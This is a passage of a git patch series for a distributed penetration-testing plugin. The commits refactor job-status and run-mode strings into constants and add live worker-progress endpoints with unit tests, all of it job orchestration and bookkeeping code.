Plugin._get_job_from_cstore(plugin, job_id) + return plugin + + def test_get_job_archive_finalized(self): + """get_job_archive for finalized job returns archive with matching job_id.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + + archive_data = {"job_id": "fin-job", "passes": [], "ui_aggregate": {}} + plugin.r1fs.get_json.return_value = archive_data + + result = Plugin.get_job_archive(plugin, job_id="fin-job") + self.assertEqual(result["job_id"], "fin-job") + self.assertEqual(result["archive"]["job_id"], "fin-job") + + def test_get_job_archive_running(self): + """get_job_archive for running job returns not_available error.""" + Plugin = self._get_plugin_class() + running = self._build_running_job("run-job", pass_count=2) + plugin = self._build_plugin({"run-job": running}) + + result = Plugin.get_job_archive(plugin, job_id="run-job") + self.assertEqual(result["error"], "not_available") + + def test_get_job_archive_integrity_mismatch(self): + """Corrupted job_cid pointing to wrong archive is rejected.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + + # Archive has a different job_id + plugin.r1fs.get_json.return_value = {"job_id": "other-job", "passes": []} + + result = Plugin.get_job_archive(plugin, job_id="fin-job") + self.assertEqual(result["error"], "integrity_mismatch") + + def test_get_job_data_running_last_5(self): + """Running job with 8 passes returns last 5 refs only.""" + Plugin = self._get_plugin_class() + running = self._build_running_job("run-job", pass_count=8) + plugin = self._build_plugin({"run-job": running}) + + result = Plugin.get_job_data(plugin, job_id="run-job") + self.assertTrue(result["found"]) + refs = result["job"]["pass_reports"] + self.assertEqual(len(refs), 5) + # Should be the last 5 (pass_nr 4-8) + self.assertEqual(refs[0]["pass_nr"], 4) + self.assertEqual(refs[-1]["pass_nr"], 8) + + def test_get_job_data_finalized_returns_stub(self): + """Finalized job returns stub as-is with job_cid.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + + result = Plugin.get_job_data(plugin, job_id="fin-job") + self.assertTrue(result["found"]) + self.assertEqual(result["job"]["job_cid"], "QmArchiveCID") + self.assertEqual(result["job"]["pass_count"], 1) + + def test_list_jobs_finalized_as_is(self): + """Finalized stubs returned unmodified with all CStoreJobFinalized fields.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + + result = Plugin.list_network_jobs(plugin) + self.assertIn("fin-job", result) + job = result["fin-job"] + self.assertEqual(job["job_cid"], "QmArchiveCID") + self.assertEqual(job["pass_count"], 1) + self.assertEqual(job["worker_count"], 2) + self.assertEqual(job["risk_score"], 42) + self.assertEqual(job["duration"], 200.0) + + def test_list_jobs_running_stripped(self): + """Running jobs have counts but no timeline, workers, or pass_reports.""" + Plugin = self._get_plugin_class() + running = self._build_running_job("run-job", pass_count=3) + plugin = self._build_plugin({"run-job": running}) + + result = Plugin.list_network_jobs(plugin) + self.assertIn("run-job", result) + job = result["run-job"] + # Should have counts + self.assertEqual(job["pass_count"], 3) + self.assertEqual(job["worker_count"], 2) + # Should NOT have heavy fields + self.assertNotIn("timeline", job) + self.assertNotIn("workers", job) + self.assertNotIn("pass_reports", job) + + def test_get_job_archive_not_found(self): + """get_job_archive for non-existent job returns not_found.""" + Plugin = self._get_plugin_class() + plugin = self._build_plugin({}) + + result = Plugin.get_job_archive(plugin, job_id="missing-job") + self.assertEqual(result["error"], "not_found") + + def test_get_job_archive_r1fs_failure(self): + """get_job_archive when R1FS fails returns fetch_failed.""" + Plugin = self._get_plugin_class() + stub = self._build_finalized_stub("fin-job") + plugin = self._build_plugin({"fin-job": stub}) + plugin.r1fs.get_json.return_value = None + + result = Plugin.get_job_archive(plugin, job_id="fin-job") + self.assertEqual(result["error"], "fetch_failed") + + class VerboseResult(unittest.TextTestResult): def addSuccess(self, test): super().addSuccess(test) @@ -3516,4 +3713,5 @@ def addSuccess(self, test): suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase2PassFinalization)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase4UiAggregate)) suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase3Archive)) + suite.addTests(unittest.defaultTestLoader.loadTestsFromTestCase(TestPhase5Endpoints)) runner.run(suite) From 296b49833f48c424373d880ab7dc8a287675f421 Mon Sep 17 00:00:00 2001 From: toderian Date: Sat, 7 Mar 2026 22:50:02 +0000 Subject: [PATCH 13/42] fix: use constants everywhere in API (phase 11) --- .../business/cybersec/red_mesh/constants.py | 9 ++- .../cybersec/red_mesh/models/archive.py | 9 ++- .../cybersec/red_mesh/pentester_api_01.py | 78 +++++++++++-------- .../red_mesh/redmesh_llm_agent_mixin.py | 6 +- 4 files changed, 62 insertions(+), 40 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index 0890779e..e16dedfd 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -190,4 +190,11 @@ RISK_CONFIDENCE_MULTIPLIERS = {"certain": 1.0, "firm": 0.8, "tentative": 0.5} RISK_SIGMOID_K = 0.02 RISK_CRED_PENALTY_PER = 15 -RISK_CRED_PENALTY_CAP = 30 \ No newline at end of file +RISK_CRED_PENALTY_CAP = 30 + +# ===================================================================== +# Job archive +# ===================================================================== + +JOB_ARCHIVE_VERSION = 1 +MAX_CONTINUOUS_PASSES = 100 \ No newline at end of file diff --git a/extensions/business/cybersec/red_mesh/models/archive.py b/extensions/business/cybersec/red_mesh/models/archive.py index 7ad044ab..22533e14 100644 --- a/extensions/business/cybersec/red_mesh/models/archive.py +++ b/extensions/business/cybersec/red_mesh/models/archive.py @@ -13,6 +13,9 @@ from dataclasses import dataclass, asdict from extensions.business.cybersec.red_mesh.models.shared import _strip_none +from extensions.business.cybersec.red_mesh.constants import ( + DISTRIBUTION_SLICE, PORT_ORDER_SEQUENTIAL, RUN_MODE_SINGLEPASS, +) @dataclass(frozen=True) @@ -56,12 +59,12 @@ def from_dict(cls, d: dict) -> JobConfig: start_port=d["start_port"], end_port=d["end_port"], exceptions=d.get("exceptions", []), - distribution_strategy=d.get("distribution_strategy", "SLICE"), - port_order=d.get("port_order", "SEQUENTIAL"), + distribution_strategy=d.get("distribution_strategy", DISTRIBUTION_SLICE), + port_order=d.get("port_order", PORT_ORDER_SEQUENTIAL), nr_local_workers=d.get("nr_local_workers", 2), enabled_features=d.get("enabled_features", []), excluded_features=d.get("excluded_features", []), - run_mode=d.get("run_mode", "SINGLEPASS"), + run_mode=d.get("run_mode", RUN_MODE_SINGLEPASS), scan_min_delay=d.get("scan_min_delay", 0), scan_max_delay=d.get("scan_max_delay", 0), ics_safe_mode=d.get("ics_safe_mode", False), diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 84234049..fc9eb2c2 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -44,6 +44,16 @@ ) from .constants import ( FEATURE_CATALOG, + JOB_STATUS_RUNNING, + JOB_STATUS_SCHEDULED_FOR_STOP, + JOB_STATUS_STOPPED, + JOB_STATUS_FINALIZED, + RUN_MODE_SINGLEPASS, + RUN_MODE_CONTINUOUS_MONITORING, + DISTRIBUTION_SLICE, + DISTRIBUTION_MIRROR, + PORT_ORDER_SHUFFLE, + PORT_ORDER_SEQUENTIAL, LLM_ANALYSIS_SECURITY_ASSESSMENT, LLM_ANALYSIS_VULNERABILITY_SUMMARY, LLM_ANALYSIS_REMEDIATION_PLAN, @@ -77,12 +87,12 @@ "WARMUP_DELAY" : 30, # Defines how ports are split across local workers. - "DISTRIBUTION_STRATEGY": "SLICE", # "SLICE" or "MIRROR" - "PORT_ORDER": "SHUFFLE", # "SHUFFLE" or "SEQUENTIAL" + "DISTRIBUTION_STRATEGY": DISTRIBUTION_SLICE, + "PORT_ORDER": PORT_ORDER_SHUFFLE, "EXCLUDED_FEATURES": [], # Run mode: SINGLEPASS (default) or CONTINUOUS_MONITORING - "RUN_MODE": "SINGLEPASS", + "RUN_MODE": RUN_MODE_SINGLEPASS, "MONITOR_INTERVAL": 60, # seconds between passes in continuous mode "MONITOR_JITTER": 5, # random jitter to avoid simultaneous CStore writes @@ -337,8 +347,8 @@ def _submit_redmesh_test_attestation(self, job_id: str, job_specs: dict, workers ) return None - run_mode = str(job_specs.get("run_mode", "SINGLEPASS")).upper() - test_mode = 1 if run_mode == "CONTINUOUS_MONITORING" else 0 + run_mode = str(job_specs.get("run_mode", RUN_MODE_SINGLEPASS)).upper() + test_mode = 1 if run_mode == RUN_MODE_CONTINUOUS_MONITORING else 0 node_count = len(workers) if isinstance(workers, dict) else 0 target = job_specs.get("target") execution_id = self._attestation_pack_execution_id(job_id) @@ -406,8 +416,8 @@ def _submit_redmesh_job_start_attestation(self, job_id: str, job_specs: dict, wo ) return None - run_mode = str(job_specs.get("run_mode", "SINGLEPASS")).upper() - test_mode = 1 if run_mode == "CONTINUOUS_MONITORING" else 0 + run_mode = str(job_specs.get("run_mode", RUN_MODE_SINGLEPASS)).upper() + test_mode = 1 if run_mode == RUN_MODE_CONTINUOUS_MONITORING else 0 node_count = len(workers) if isinstance(workers, dict) else 0 target = job_specs.get("target") execution_id = self._attestation_pack_execution_id(job_id) @@ -699,10 +709,10 @@ def _launch_job( local_jobs = {} ports = list(range(start_port, end_port + 1)) batches = [] - if port_order == "SEQUENTIAL": + if port_order == PORT_ORDER_SEQUENTIAL: ports = sorted(ports) # redundant but explicit else: - port_order = "SHUFFLE" + port_order = PORT_ORDER_SHUFFLE random.shuffle(ports) nr_ports = len(ports) if nr_ports == 0: @@ -803,8 +813,8 @@ def _maybe_launch_jobs(self, nr_local_workers=None): # Check if this is a continuous monitoring job where our worker was reset # (launcher reset our finished flag for next pass) - clear local tracking # Only applies to CONTINUOUS_MONITORING and only when job is not currently running - run_mode = job_specs.get("run_mode", "SINGLEPASS") - if run_mode == "CONTINUOUS_MONITORING" and is_closed_target and not is_in_progress_target: + run_mode = job_specs.get("run_mode", RUN_MODE_SINGLEPASS) + if run_mode == RUN_MODE_CONTINUOUS_MONITORING and is_closed_target and not is_in_progress_target: # Our worker entry was reset by launcher for next pass - clear local state self.P(f"Detected worker reset for job {job_id}, clearing local tracking for next pass") self.completed_jobs_reports.pop(job_id, None) @@ -1627,11 +1637,11 @@ def _build_job_archive(self, job_key, job_specs): # 8. Prune CStore to stub (commit point) stub = CStoreJobFinalized( job_id=job_id, - job_status=job_specs.get("job_status", "FINALIZED"), + job_status=job_specs.get("job_status", JOB_STATUS_FINALIZED), target=job_specs.get("target", ""), task_name=job_specs.get("task_name", ""), risk_score=job_specs.get("risk_score", 0), - run_mode=job_specs.get("run_mode", "SINGLEPASS"), + run_mode=job_specs.get("run_mode", RUN_MODE_SINGLEPASS), duration=duration, pass_count=len(passes), launcher=job_specs.get("launcher", ""), @@ -1690,8 +1700,8 @@ def _maybe_finalize_pass(self): if not workers: continue - run_mode = job_specs.get("run_mode", "SINGLEPASS") - job_status = job_specs.get("job_status", "RUNNING") + run_mode = job_specs.get("run_mode", RUN_MODE_SINGLEPASS) + job_status = job_specs.get("job_status", JOB_STATUS_RUNNING) all_finished = all(w.get("finished") for w in workers.values()) next_pass_at = job_specs.get("next_pass_at") job_pass = job_specs.get("job_pass", 1) @@ -1699,7 +1709,7 @@ def _maybe_finalize_pass(self): pass_reports = job_specs.setdefault("pass_reports", []) # Skip jobs that are already finalized or stopped - if job_status in ("FINALIZED", "STOPPED"): + if job_status in (JOB_STATUS_FINALIZED, JOB_STATUS_STOPPED): # Stuck recovery: if no job_cid, the archive build failed previously — retry if not job_specs.get("job_cid"): self.P(f"[STUCK RECOVERY] {job_id} is {job_status} but has no job_cid — retrying archive build", color='y') @@ -1782,7 +1792,7 @@ def _maybe_finalize_pass(self): # 7. ATTESTATION (best-effort, must not block finalization) redmesh_test_attestation = None should_submit_attestation = True - if run_mode == "CONTINUOUS_MONITORING": + if run_mode == RUN_MODE_CONTINUOUS_MONITORING: last_attestation_at = job_specs.get("last_attestation_at") min_interval = self.cfg_attestation_min_seconds_between_submits if last_attestation_at is not None and now_ts - last_attestation_at < min_interval: @@ -1841,8 +1851,8 @@ def _maybe_finalize_pass(self): pass_reports.append(PassReportRef(job_pass, pass_report_cid, risk_score).to_dict()) # Handle SINGLEPASS - set FINALIZED, build archive, prune CStore - if run_mode == "SINGLEPASS": - job_specs["job_status"] = "FINALIZED" + if run_mode == RUN_MODE_SINGLEPASS: + job_specs["job_status"] = JOB_STATUS_FINALIZED self._emit_timeline_event(job_specs, "scan_completed", "Scan completed") self.P(f"[SINGLEPASS] Job {job_id} complete. Status set to FINALIZED.") self._emit_timeline_event(job_specs, "finalized", "Job finalized") @@ -1852,8 +1862,8 @@ def _maybe_finalize_pass(self): # CONTINUOUS_MONITORING logic below # Check if soft stop was scheduled — build archive and prune CStore - if job_status == "SCHEDULED_FOR_STOP": - job_specs["job_status"] = "STOPPED" + if job_status == JOB_STATUS_SCHEDULED_FOR_STOP: + job_specs["job_status"] = JOB_STATUS_STOPPED self._emit_timeline_event(job_specs, "scan_completed", f"Scan completed (pass {job_pass})") self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Status set to STOPPED (soft stop was scheduled)") self._emit_timeline_event(job_specs, "stopped", "Job stopped") @@ -1874,7 +1884,7 @@ def _maybe_finalize_pass(self): if job_id in self.lst_completed_jobs: self.lst_completed_jobs.remove(job_id) - elif run_mode == "CONTINUOUS_MONITORING" and all_finished and next_pass_at and self.time() >= next_pass_at: + elif run_mode == RUN_MODE_CONTINUOUS_MONITORING and all_finished and next_pass_at and self.time() >= next_pass_at: # ═══════════════════════════════════════════════════ # STATE: Interval elapsed, start next pass # ═══════════════════════════════════════════════════ @@ -2155,16 +2165,16 @@ def launch_test( distribution_strategy = str(distribution_strategy).upper() - if not distribution_strategy or distribution_strategy not in ["MIRROR", "SLICE"]: + if not distribution_strategy or distribution_strategy not in [DISTRIBUTION_MIRROR, DISTRIBUTION_SLICE]: distribution_strategy = self.cfg_distribution_strategy port_order = str(port_order).upper() - if not port_order or port_order not in ["SHUFFLE", "SEQUENTIAL"]: + if not port_order or port_order not in [PORT_ORDER_SHUFFLE, PORT_ORDER_SEQUENTIAL]: port_order = self.cfg_port_order # Validate run_mode and monitor_interval run_mode = str(run_mode).upper() - if not run_mode or run_mode not in ["SINGLEPASS", "CONTINUOUS_MONITORING"]: + if not run_mode or run_mode not in [RUN_MODE_SINGLEPASS, RUN_MODE_CONTINUOUS_MONITORING]: run_mode = self.cfg_run_mode if monitor_interval <= 0: monitor_interval = self.cfg_monitor_interval @@ -2206,7 +2216,7 @@ def launch_test( raise ValueError("No workers available for job execution.") workers = {} - if distribution_strategy == "MIRROR": + if distribution_strategy == DISTRIBUTION_MIRROR: for address in active_peers: workers[address] = { "start_port": start_port, @@ -2214,7 +2224,7 @@ def launch_test( "finished": False, "result": None } - # else if selected strategy is "SLICE" + # else if selected strategy is SLICE else: total_ports = end_port - start_port + 1 @@ -2297,7 +2307,7 @@ def launch_test( "timeline": [], "workers" : workers, # Job lifecycle: RUNNING | SCHEDULED_FOR_STOP | STOPPED | FINALIZED - "job_status": "RUNNING", + "job_status": JOB_STATUS_RUNNING, # Continuous monitoring fields "run_mode": run_mode, "job_pass": 1, @@ -2595,7 +2605,7 @@ def purge_job(self, job_id: str): workers = job_specs.get("workers", {}) if workers and any(not w.get("finished") for w in workers.values()): return {"status": "error", "message": "Cannot purge a running job. Stop it first."} - if job_status not in ("FINALIZED", "STOPPED") and workers: + if job_status not in (JOB_STATUS_FINALIZED, JOB_STATUS_STOPPED) and workers: return {"status": "error", "message": "Cannot purge a running job. Stop it first."} # Collect all CIDs (deduplicated) @@ -2736,19 +2746,19 @@ def stop_monitoring(self, job_id: str, stop_type: str = "SOFT"): return {"error": "Job not found", "job_id": job_id} _, job_specs = self._normalize_job_record(job_id, raw_job_specs) - if job_specs.get("run_mode") != "CONTINUOUS_MONITORING": + if job_specs.get("run_mode") != RUN_MODE_CONTINUOUS_MONITORING: return {"error": "Job is not in CONTINUOUS_MONITORING mode", "job_id": job_id} stop_type = str(stop_type).upper() passes_completed = job_specs.get("job_pass", 1) if stop_type == "HARD": - job_specs["job_status"] = "STOPPED" + job_specs["job_status"] = JOB_STATUS_STOPPED self._emit_timeline_event(job_specs, "stopped", "Job stopped", actor_type="user") self.P(f"[CONTINUOUS] Hard stop for job {job_id} after {passes_completed} passes") else: # SOFT stop - let current pass complete - job_specs["job_status"] = "SCHEDULED_FOR_STOP" + job_specs["job_status"] = JOB_STATUS_SCHEDULED_FOR_STOP self._emit_timeline_event(job_specs, "scheduled_for_stop", "Stop scheduled", actor_type="user") self.P(f"[CONTINUOUS] Soft stop scheduled for job {job_id} (will stop after current pass)") @@ -2935,10 +2945,10 @@ def get_analysis(self, job_id: str = "", cid: str = "", pass_nr: int = None): # Look for analysis in pass_reports pass_reports = job_specs.get("pass_reports", []) - job_status = job_specs.get("job_status", "RUNNING") + job_status = job_specs.get("job_status", JOB_STATUS_RUNNING) if not pass_reports: - if job_status == "RUNNING": + if job_status == JOB_STATUS_RUNNING: return {"error": "Job still running, no passes completed yet", "job_id": job_id, "job_status": job_status} return {"error": "No pass reports available for this job", "job_id": job_id, "job_status": job_status} diff --git a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py index 82dfeeec..069d9b02 100644 --- a/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py +++ b/extensions/business/cybersec/red_mesh/redmesh_llm_agent_mixin.py @@ -12,6 +12,8 @@ class PentesterApi01Plugin(_LlmAgentMixin, BasePlugin): import requests from typing import Optional +from .constants import RUN_MODE_SINGLEPASS + class _RedMeshLlmAgentMixin(object): """ @@ -247,7 +249,7 @@ def _run_aggregated_llm_analysis( "start_port": job_config.get("start_port"), "end_port": job_config.get("end_port"), "enabled_features": job_config.get("enabled_features", []), - "run_mode": job_config.get("run_mode", "SINGLEPASS"), + "run_mode": job_config.get("run_mode", RUN_MODE_SINGLEPASS), } # Call LLM analysis @@ -306,7 +308,7 @@ def _run_quick_summary_analysis( "start_port": job_config.get("start_port"), "end_port": job_config.get("end_port"), "enabled_features": job_config.get("enabled_features", []), - "run_mode": job_config.get("run_mode", "SINGLEPASS"), + "run_mode": job_config.get("run_mode", RUN_MODE_SINGLEPASS), } # Call LLM analysis with quick_summary type From fd0601cf49555d57184f8b25279215591323745d Mon Sep 17 00:00:00 2001 From: toderian Date: Sat, 7 Mar 2026 23:04:11 +0000 Subject: [PATCH 14/42] feat: live worker progress endpoints and methods (phase 1) --- .../business/cybersec/red_mesh/constants.py | 8 +- .../cybersec/red_mesh/pentester_api_01.py | 127 ++++++++++++++++- .../cybersec/red_mesh/test_redmesh.py | 134 ++++++++++++++++++ 3 files changed, 267 insertions(+), 2 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/constants.py b/extensions/business/cybersec/red_mesh/constants.py index e16dedfd..c47d2c04 100644 --- a/extensions/business/cybersec/red_mesh/constants.py +++ b/extensions/business/cybersec/red_mesh/constants.py @@ -197,4 +197,10 @@ # ===================================================================== JOB_ARCHIVE_VERSION = 1 -MAX_CONTINUOUS_PASSES = 100 \ No newline at end of file +MAX_CONTINUOUS_PASSES = 100 + +# ===================================================================== +# Live progress publishing +# ===================================================================== + +PROGRESS_PUBLISH_INTERVAL = 20 # seconds between progress updates to CStore diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index fc9eb2c2..6d2b17cd 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -40,7 +40,7 @@ from .redmesh_llm_agent_mixin import _RedMeshLlmAgentMixin from .models import ( JobConfig, PassReport, PassReportRef, WorkerReportMeta, AggregatedScanData, - CStoreJobFinalized, UiAggregate, JobArchive, + CStoreJobFinalized, UiAggregate, JobArchive, WorkerProgress, ) from .constants import ( FEATURE_CATALOG, @@ -65,6 +65,7 @@ LOCAL_WORKERS_MIN, LOCAL_WORKERS_MAX, LOCAL_WORKERS_DEFAULT, + PROGRESS_PUBLISH_INTERVAL, ) __VER__ = '0.9.0' @@ -164,6 +165,7 @@ def on_init(self): self.lst_completed_jobs = [] # List of completed jobs self._audit_log = [] # Structured audit event log self.__last_checked_jobs = 0 + self._last_progress_publish = 0 # timestamp of last live progress publish self.__warmupstart = self.time() self.__warmup_done = False current_epoch = self.netmon.epoch_manager.get_current_epoch() @@ -1857,6 +1859,7 @@ def _maybe_finalize_pass(self): self.P(f"[SINGLEPASS] Job {job_id} complete. Status set to FINALIZED.") self._emit_timeline_event(job_specs, "finalized", "Job finalized") self._build_job_archive(job_key, job_specs) + self._clear_live_progress(job_id, list(workers.keys())) continue # CONTINUOUS_MONITORING logic below @@ -1868,6 +1871,7 @@ def _maybe_finalize_pass(self): self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Status set to STOPPED (soft stop was scheduled)") self._emit_timeline_event(job_specs, "stopped", "Job stopped") self._build_job_archive(job_key, job_specs) + self._clear_live_progress(job_id, list(workers.keys())) continue # Schedule next pass @@ -1878,6 +1882,7 @@ def _maybe_finalize_pass(self): self.P(f"[CONTINUOUS] Pass {job_pass} complete for job {job_id}. Next pass in {interval}s (+{jitter:.1f}s jitter)") self.chainstore_hset(hkey=self.cfg_instance_id, key=job_key, value=job_specs) + self._clear_live_progress(job_id, list(workers.keys())) # Clear from completed_jobs_reports to allow relaunch self.completed_jobs_reports.pop(job_id, None) @@ -2484,6 +2489,34 @@ def get_job_archive(self, job_id: str): return {"job_id": job_id, "archive": archive} + @BasePlugin.endpoint + def get_job_progress(self, job_id: str): + """ + Real-time progress for all workers in a job. + + Reads from the `:live` CStore hset and returns only entries + matching the requested job_id. + + Parameters + ---------- + job_id : str + Identifier of the job. + + Returns + ------- + dict + Workers progress keyed by worker address. + """ + live_hkey = f"{self.cfg_instance_id}:live" + all_progress = self.chainstore_hgetall(hkey=live_hkey) or {} + prefix = f"{job_id}:" + result = {} + for key, value in all_progress.items(): + if key.startswith(prefix) and value is not None: + worker_addr = key[len(prefix):] + result[worker_addr] = value + return {"job_id": job_id, "workers": result} + @BasePlugin.endpoint def list_network_jobs(self): """ @@ -3018,6 +3051,96 @@ def llm_health(self): return self._get_llm_health_status() + def _publish_live_progress(self): + """ + Publish aggregated live progress for all active local scan jobs. + + Aggregates thread-level stats into one WorkerProgress entry per job + and writes to the `:live` CStore hset. Called periodically from process(). + """ + now = self.time() + if now - self._last_progress_publish < PROGRESS_PUBLISH_INTERVAL: + return + self._last_progress_publish = now + + live_hkey = f"{self.cfg_instance_id}:live" + ee_addr = self.ee_addr + + for job_id, local_workers in self.scan_jobs.items(): + if not local_workers: + continue + + # Aggregate across all local threads + total_scanned = 0 + total_ports = 0 + all_open = set() + all_tests = set() + all_done = True + + for worker in local_workers.values(): + state = worker.state + total_scanned += len(state.get("ports_scanned", [])) + total_ports += len(worker.initial_ports) + all_open.update(state.get("open_ports", [])) + all_tests.update(state.get("completed_tests", [])) + if not state.get("done"): + all_done = False + + # Determine current phase from completed_tests + if "correlation_completed" in all_tests: + phase = "done" + elif "web_tests_completed" in all_tests: + phase = "correlation" + elif "service_info_completed" in all_tests: + phase = "web_tests" + elif "fingerprint_completed" in all_tests: + phase = "service_probes" + else: + phase = "port_scan" + + # Look up pass number from CStore + job_specs = self.chainstore_hget(hkey=self.cfg_instance_id, key=job_id) + pass_nr = 1 + if isinstance(job_specs, dict): + pass_nr = job_specs.get("job_pass", 1) + + progress = WorkerProgress( + job_id=job_id, + worker_addr=ee_addr, + pass_nr=pass_nr, + progress=round((total_scanned / total_ports) * 100, 1) if total_ports else 0, + phase=phase, + ports_scanned=total_scanned, + ports_total=total_ports, + open_ports_found=sorted(all_open), + completed_tests=sorted(all_tests), + updated_at=now, + ) + self.chainstore_hset( + hkey=live_hkey, + key=f"{job_id}:{ee_addr}", + value=progress.to_dict(), + ) + + def _clear_live_progress(self, job_id, worker_addresses): + """ + Remove live progress keys for a completed job. + + Parameters + ---------- + job_id : str + Job identifier. + worker_addresses : list[str] + Worker addresses whose progress keys should be removed. + """ + live_hkey = f"{self.cfg_instance_id}:live" + for addr in worker_addresses: + self.chainstore_hset( + hkey=live_hkey, + key=f"{job_id}:{addr}", + value=None, # delete + ) + def process(self): """ Periodic task handler: launch new jobs and close completed ones. @@ -3036,6 +3159,8 @@ def process(self): #endif # Launch any new jobs self._maybe_launch_jobs() + # Publish live progress for active scans + self._publish_live_progress() # Check active jobs for completion self._maybe_close_jobs() # Finalize completed passes and handle continuous monitoring (launcher only) diff --git a/extensions/business/cybersec/red_mesh/test_redmesh.py b/extensions/business/cybersec/red_mesh/test_redmesh.py index e8c738a4..0c1d8533 100644 --- a/extensions/business/cybersec/red_mesh/test_redmesh.py +++ b/extensions/business/cybersec/red_mesh/test_redmesh.py @@ -3696,6 +3696,139 @@ def test_get_job_archive_r1fs_failure(self): self.assertEqual(result["error"], "fetch_failed") +class TestPhase12LiveProgress(unittest.TestCase): + """Phase 12: Live Worker Progress.""" + + @classmethod + def _mock_plugin_modules(cls): + if 'extensions.business.cybersec.red_mesh.pentester_api_01' in sys.modules: + return + TestPhase1ConfigCID._mock_plugin_modules() + + def _get_plugin_class(self): + self._mock_plugin_modules() + from extensions.business.cybersec.red_mesh.pentester_api_01 import PentesterApi01Plugin + return PentesterApi01Plugin + + def test_worker_progress_model_roundtrip(self): + """WorkerProgress.from_dict(wp.to_dict()) preserves all fields.""" + from extensions.business.cybersec.red_mesh.models import WorkerProgress + wp = WorkerProgress( + job_id="job-1", + worker_addr="0xWorkerA", + pass_nr=2, + progress=45.5, + phase="service_probes", + ports_scanned=500, + ports_total=1024, + open_ports_found=[22, 80, 443], + completed_tests=["fingerprint_completed", "service_info_completed"], + updated_at=1700000000.0, + live_metrics={"total_duration": 30.5}, + ) + d = wp.to_dict() + wp2 = WorkerProgress.from_dict(d) + self.assertEqual(wp2.job_id, "job-1") + self.assertEqual(wp2.worker_addr, "0xWorkerA") + self.assertEqual(wp2.pass_nr, 2) + self.assertAlmostEqual(wp2.progress, 45.5) + self.assertEqual(wp2.phase, "service_probes") + self.assertEqual(wp2.ports_scanned, 500) + self.assertEqual(wp2.ports_total, 1024) + self.assertEqual(wp2.open_ports_found, [22, 80, 443]) + self.assertEqual(wp2.completed_tests, ["fingerprint_completed", "service_info_completed"]) + self.assertEqual(wp2.updated_at, 1700000000.0) + self.assertEqual(wp2.live_metrics, {"total_duration": 30.5}) + + def test_get_job_progress_filters_by_job(self): + """get_job_progress returns only workers for the requested job.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + + # Simulate two jobs' progress in the :live hset + live_data = { + "job-A:worker-1": {"job_id": "job-A", "progress": 50}, + "job-A:worker-2": {"job_id": "job-A", "progress": 75}, + "job-B:worker-3": {"job_id": "job-B", "progress": 30}, + } + plugin.chainstore_hgetall.return_value = live_data + + result = Plugin.get_job_progress(plugin, job_id="job-A") + self.assertEqual(result["job_id"], "job-A") + self.assertEqual(len(result["workers"]), 2) + self.assertIn("worker-1", result["workers"]) + self.assertIn("worker-2", result["workers"]) + self.assertNotIn("worker-3", result["workers"]) + + def test_get_job_progress_empty(self): + """get_job_progress for non-existent job returns empty workers dict.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.chainstore_hgetall.return_value = {} + + result = Plugin.get_job_progress(plugin, job_id="nonexistent") + self.assertEqual(result["job_id"], "nonexistent") + self.assertEqual(result["workers"], {}) + + def test_publish_live_progress(self): + """_publish_live_progress writes progress to CStore :live hset.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + plugin.ee_addr = "node-A" + plugin._last_progress_publish = 0 + plugin.time.return_value = 100.0 + + # Mock a local worker with state + worker = MagicMock() + worker.state = { + "ports_scanned": list(range(100)), + "open_ports": [22, 80], + "completed_tests": ["fingerprint_completed"], + "done": False, + } + worker.initial_ports = list(range(1, 513)) + + plugin.scan_jobs = {"job-1": {"worker-thread-1": worker}} + + # Mock CStore lookup for pass_nr + plugin.chainstore_hget.return_value = {"job_pass": 3} + + Plugin._publish_live_progress(plugin) + + # Verify hset was called with correct key pattern + plugin.chainstore_hset.assert_called_once() + call_args = plugin.chainstore_hset.call_args + self.assertEqual(call_args.kwargs["hkey"], "test-instance:live") + self.assertEqual(call_args.kwargs["key"], "job-1:node-A") + progress_data = call_args.kwargs["value"] + self.assertEqual(progress_data["job_id"], "job-1") + self.assertEqual(progress_data["worker_addr"], "node-A") + self.assertEqual(progress_data["pass_nr"], 3) + self.assertEqual(progress_data["phase"], "service_probes") + self.assertEqual(progress_data["ports_scanned"], 100) + self.assertEqual(progress_data["ports_total"], 512) + self.assertIn(22, progress_data["open_ports_found"]) + self.assertIn(80, progress_data["open_ports_found"]) + + def test_clear_live_progress(self): + """_clear_live_progress deletes progress keys for all workers.""" + Plugin = self._get_plugin_class() + plugin = MagicMock() + plugin.cfg_instance_id = "test-instance" + + Plugin._clear_live_progress(plugin, "job-1", ["worker-A", "worker-B"]) + + self.assertEqual(plugin.chainstore_hset.call_count, 2) + calls = plugin.chainstore_hset.call_args_list + keys_deleted = {c.kwargs["key"] for c in calls} + self.assertEqual(keys_deleted, {"job-1:worker-A", "job-1:worker-B"}) + for c in calls: 